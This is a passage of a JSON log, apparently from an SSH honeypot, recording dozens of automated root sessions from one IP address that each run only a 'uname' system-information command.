  "ended_at": "2026-08-26T06:07:54.950016+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "62d9b9bd-6d40-4797-ad3c-c52870bb6ace",
  "name": "fleeting-alpine-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54710,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:07:23.543398+00:00",
  "ended_at": "2026-08-26T06:07:27.589497+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1db0f54b-a14a-4e49-b8b6-c3a0c4de3132",
  "name": "sleepy-hearty-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 47684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:07:04.491303+00:00",
  "ended_at": "2026-08-26T06:07:09.961086+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3f8563e4-206e-404a-a932-7a866c75c1a5",
  "name": "twilight-proud-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:06:53.614999+00:00",
  "ended_at": "2026-08-26T06:06:59.264955+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c656b613-e855-44a0-80cb-a864d445c8bb",
  "name": "slender-polar-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55164,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 175,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:06:37.977666+00:00",
  "ended_at": "2026-08-26T06:06:41.088371+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0dc5bc1e-995e-4fd2-b92d-e60b7e4e2d19",
  "name": "knotted-primal-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 47932,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 267,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:06:18.263500+00:00",
  "ended_at": "2026-08-26T06:06:21.932611+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "107a27b5-2d04-4a86-9fe7-6455c6feb00d",
  "name": "dewy-dutiful-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 32960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:06:04.806008+00:00",
  "ended_at": "2026-08-26T06:06:07.461191+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4d0f3b3c-89e8-4bb1-ac91-b292837dbc62",
  "name": "sturdy-thawing-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38024,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:05:47.092080+00:00",
  "ended_at": "2026-08-26T06:05:52.912100+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "df5b5dda-778c-4d1e-86e9-7fd08bacce17",
  "name": "plush-polar-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:05:41.626241+00:00",
  "ended_at": "2026-08-26T06:05:46.264287+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "60609c0e-62b6-40b1-84b5-bd79c19f69e5",
  "name": "glassy-jagged-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:05:34.230023+00:00",
  "ended_at": "2026-08-26T06:05:39.357161+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "453e0304-a5be-4116-a233-6cc3ed894f1b",
  "name": "honest-knotted-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:05:11.180999+00:00",
  "ended_at": "2026-08-26T06:05:17.153432+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "561a115e-23f5-48ca-8f8a-170fd77c451f",
  "name": "supple-calm-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:04:45.157047+00:00",
  "ended_at": "2026-08-26T06:04:48.836216+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a8e1b7e5-130d-49d5-8cf2-4841e82c624b",
  "name": "spirited-hardy-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 60678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:04:36.323340+00:00",
  "ended_at": "2026-08-26T06:04:41.624678+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "23f0cd30-75f2-4dc5-b441-8563ec608ea6",
  "name": "placid-smoky-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:04:24.642454+00:00",
  "ended_at": "2026-08-26T06:04:28.600079+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "53bfaaf6-d52e-446b-bb67-ebd5a8fbdff8",
  "name": "bitter-wry-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 42930,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 262,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:04:17.733384+00:00",
  "ended_at": "2026-08-26T06:04:22.811222+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "216ae082-d7a8-4988-a400-74dcaf751e26",
  "name": "plucky-ivory-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:04:15.841160+00:00",
  "ended_at": "2026-08-26T06:04:21.766438+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a2a338b5-4a94-457d-b277-90313bc97f31",
  "name": "genial-pewter-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:04:08.765680+00:00",
  "ended_at": "2026-08-26T06:04:15.034755+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ebe3b30e-e532-4763-8630-ff12ec216dcd",
  "name": "forlorn-solemn-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:03:42.610155+00:00",
  "ended_at": "2026-08-26T06:03:45.657998+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "149fd326-1756-45c8-9f08-1d765bb57caf",
  "name": "hardy-serene-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:03:32.002248+00:00",
  "ended_at": "2026-08-26T06:03:36.695550+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "396a8335-f7ab-4ee1-abf9-b97b67183173",
  "name": "indigo-thrifty-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37248,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:02:46.635623+00:00",
  "ended_at": "2026-08-26T06:02:51.305504+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3d480dff-7998-4f65-a7c6-99ea7660b06c",
  "name": "opal-grumpy-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 60240,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:02:02.346010+00:00",
  "ended_at": "2026-08-26T06:02:08.218723+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e5c6af3a-08e9-473f-a40b-4718576e8e73",
  "name": "leafy-cosmic-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:01:39.745585+00:00",
  "ended_at": "2026-08-26T06:01:45.256102+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "17d7abd6-c5d0-40fc-a29a-4357634a2e30",
  "name": "placid-meadow-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50248,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:01:02.470419+00:00",
  "ended_at": "2026-08-26T06:01:05.988426+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b7f97f4c-d908-403b-97a1-1e711381c29a",
  "name": "buoyant-slender-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 200,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:00:46.807654+00:00",
  "ended_at": "2026-08-26T06:00:52.792325+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "705776fe-e1d1-422b-9ab1-45d94e2cb41a",
  "name": "courtly-brazen-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44224,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:00:46.313651+00:00",
  "ended_at": "2026-08-26T06:00:50.786346+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "31ee4efe-d95f-490c-a154-d8c30a3f48cd",
  "name": "sturdy-lonesome-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:00:44.837119+00:00",
  "ended_at": "2026-08-26T06:00:47.881258+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "57c96859-fa29-4f99-afa1-6e3f7ad454d5",
  "name": "cunning-supple-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55496,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:00:16.312538+00:00",
  "ended_at": "2026-08-26T06:00:22.284519+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c9e85ff1-7502-4540-b057-9f56ac80d150",
  "name": "deft-gallant-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 41450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:59:55.995613+00:00",
  "ended_at": "2026-08-26T06:00:00.587796+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6b6494b0-250e-4709-b93a-513847040254",
  "name": "verdant-western-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 41550,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:59:43.520138+00:00",
  "ended_at": "2026-08-26T05:59:46.499195+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bae3065f-b7bb-44d4-ad5e-c94c0c9bc788",
  "name": "blunt-quaint-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50274,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:59:30.998165+00:00",
  "ended_at": "2026-08-26T05:59:34.146180+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1cc5dd63-6f82-469f-bd9a-bffb725b59ef",
  "name": "calm-humble-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:58:58.803203+00:00",
  "ended_at": "2026-08-26T05:59:03.954699+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07ffdd8c-c086-4b11-ae6c-c435319912a8",
  "name": "patient-foggy-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:58:39.932038+00:00",
  "ended_at": "2026-08-26T05:58:45.284998+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ae259a2e-eb46-4566-9090-447a58830d75",
  "name": "velvet-mottled-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 52072,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:57:43.491561+00:00",
  "ended_at": "2026-08-26T05:57:49.104085+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d7374f09-d703-4327-b5fd-5c347408ee2f",
  "name": "sandy-solar-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 47520,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:57:23.847347+00:00",
  "ended_at": "2026-08-26T05:57:27.385614+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a374cea2-530e-4709-b4b3-f88edc97f729",
  "name": "mellow-electric-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:56:12.955647+00:00",
  "ended_at": "2026-08-26T05:56:18.857443+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "65b0f0cc-f200-433e-9b86-fd3a9c52ce72",
  "name": "quiet-faded-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38166,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:56:08.880578+00:00",
  "ended_at": "2026-08-26T05:56:12.680448+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35a78e3b-d18a-462b-bba9-0576a17b7a48",
  "name": "vigilant-sandy-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 60116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 367,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:56:05.826704+00:00",
  "ended_at": "2026-08-26T05:56:10.429275+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1cf57bd1-91eb-462e-bd08-743faa7035e9",
  "name": "foggy-dutiful-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48248,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:55:44.088903+00:00",
  "ended_at": "2026-08-26T05:55:48.005616+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0c29ee32-7742-4217-8fe1-1f1f817371e4",
  "name": "watchful-calm-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:55:40.074835+00:00",
  "ended_at": "2026-08-26T05:55:44.757188+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5bb71805-d894-446a-9c60-69b59f96a390",
  "name": "valiant-eager-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:55:30.327343+00:00",
  "ended_at": "2026-08-26T05:55:34.559219+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6e5cd0a6-1fba-4caf-85d2-cf423b84ff24",
  "name": "vaulted-vivid-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49294,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:54:49.886524+00:00",
  "ended_at": "2026-08-26T05:54:55.496017+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "24862590-dda0-43b4-8400-03ccc604c20a",
  "name": "tangled-stoic-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:54:36.828663+00:00",
  "ended_at": "2026-08-26T05:54:43.049465+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "00b0278b-5799-4f62-bf88-2666cc5ada86",
  "name": "balmy-crimson-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49114,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:54:23.978602+00:00",
  "ended_at": "2026-08-26T05:54:29.717000+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dab359af-52c8-43e5-9948-ca2e4dc72d85",
  "name": "somber-russet-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49040,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:54:16.288105+00:00",
  "ended_at": "2026-08-26T05:54:19.486827+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f07b4c0a-132d-45ab-b24d-41795cb82993",
  "name": "civil-fearless-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36194,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:53:55.300726+00:00",
  "ended_at": "2026-08-26T05:54:00.489841+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1ad5dff4-fa0e-4147-a88d-b1cda949ab59",
  "name": "misty-lanky-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36900,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:53:38.580288+00:00",
  "ended_at": "2026-08-26T05:53:44.099056+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bca562a3-c652-4de6-b78b-18db54babf40",
  "name": "pewter-proud-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 281,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:53:27.143271+00:00",
  "ended_at": "2026-08-26T05:53:30.578322+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2f208036-63ab-4e9b-aa12-2180e0a79463",
  "name": "barren-vernal-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39752,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:53:07.590303+00:00",
  "ended_at": "2026-08-26T05:53:10.878691+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4e0056ea-ad47-4354-9035-d1f96e5c02e4",
  "name": "coastal-fleeting-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 276,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:52:50.128155+00:00",
  "ended_at": "2026-08-26T05:52:55.131825+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1e9f1739-ff85-4aaa-ae0c-048518c3ddf8",
  "name": "peaty-tranquil-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T05:52:33.029436+00:00",
  "ended_at": "2026-08-26T05:52:38.185523+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "17a37e54-82f7-470c-824c-080bc5dfbe7b",
  "name": "weathered-wistful-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 34220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
